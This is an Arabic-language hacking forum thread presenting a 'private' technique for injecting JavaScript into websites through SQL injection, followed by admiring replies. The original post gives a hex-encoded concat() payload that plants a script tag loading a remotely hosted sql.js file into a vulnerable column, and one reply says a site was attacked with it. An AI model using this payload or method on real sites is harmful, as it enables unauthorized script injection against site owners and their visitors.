Priv8 ~ SQL injection with javascript

[KaLa$nikoV]

Priv8 ~ SQL injection with JaVaScript

بسم الله الرحمن الرحيم

راح نستفيد بهاد الدرس من مبدا تشغيل ال جافا سكربت بثغرات sql
بنضع بالعمود المصاب كود جافا سكربت لو اشتغل ببقى شغال عنا الجافا بالعمود هاد
وغالبا يكون شغال الا اذا الحقن من نوع txt

(الي ناسي هاد الكلام يراجع للدوره)

الان عنا سكربت من الاخر اشي فاخر (بالمرفقات للاصدار الاول والاخير )

بلزم ترفعه ع موقع عشان تلعب لعبتك انا بالشرح رفعته هنا

اقتباس http://www.emmanuelbiblechapel.org/sql.js

اقتباس <script src="link"></script>

وبعد شفرته من هذا الموقع

كود PHP:

http://www.string-functions.com/string-hex.aspx 


وثم تم التشفير وهذا هو .......

كود PHP:

concat((0x3c736372697074207372633d27687474703a2f2f7777772e656d6d616e75656c6269626c6563686170656c2e6f72672f73716c2e6a73273e3c2f7363726970743e))volcano 


والان رابط الشرح

http://www.youtube.com/watch?v=my30hsodW5Q

طبعا الشرح والتولز برايفت ياريت الي بنقلها يذكر الحقوق (اول مره تشرح للعرب )
وهي مصدر الي لطشناه منها من الاجانب عشان ما حد يقول بخلنا عليكم بشيء
http://ponymagic.diosdelared.com/

وشكرا

موفقين

[Cyber Code]

Woow
ماشاء الله
جـزاك الله ألـف خـير , جاري المشاهده

++ تقــيم ++

[bleu moon]

waw :D thx men you are the pro

[bleu moon]

+++++

[mido868]

طريقة ممتازة جدا وخاصة للمبتدأين تقبل تحياتى

[Al!Y4N3]

حبيبي لك مني احلى هدية
حبيت المنتدي عشان يا قلب
لك احلى تقييم

دائما ما انتظر مواضيع من طرفك
الله يرحم من رباك
مبدع
تحياتي لك

[xman2]

البقــاء للأقوي ـ وان تطورنا فتطورنا يختلف عن الأخرين بكل معني

فولكانو فور ايفر ، حصرياتك ما نستغني عنها

يعطيك مليون عافية

سي يو مان

[JetLi]

مشكور اخي بركانو ، تمت الاستفادة من الدرس ودعس الموقع ولكن للاسف بعض المواقع لا تطبق الثغرة فيها

[loai99]

مشكوررررررررر

[MazMaz]

Volc4no yr the best :D

[عيناوي العين]

وحش ياخوي

واصل ...

[M!M0]

مشكووور يا معلم

[SpookWeb]

مشكور على الدرس ال راائع وشكر خاص ل نورالدين على الإشارة إليه

[aircrack -ng]

تشتغل من وراي
يعطيك الف عافية مبدع كالعادة:wijnk: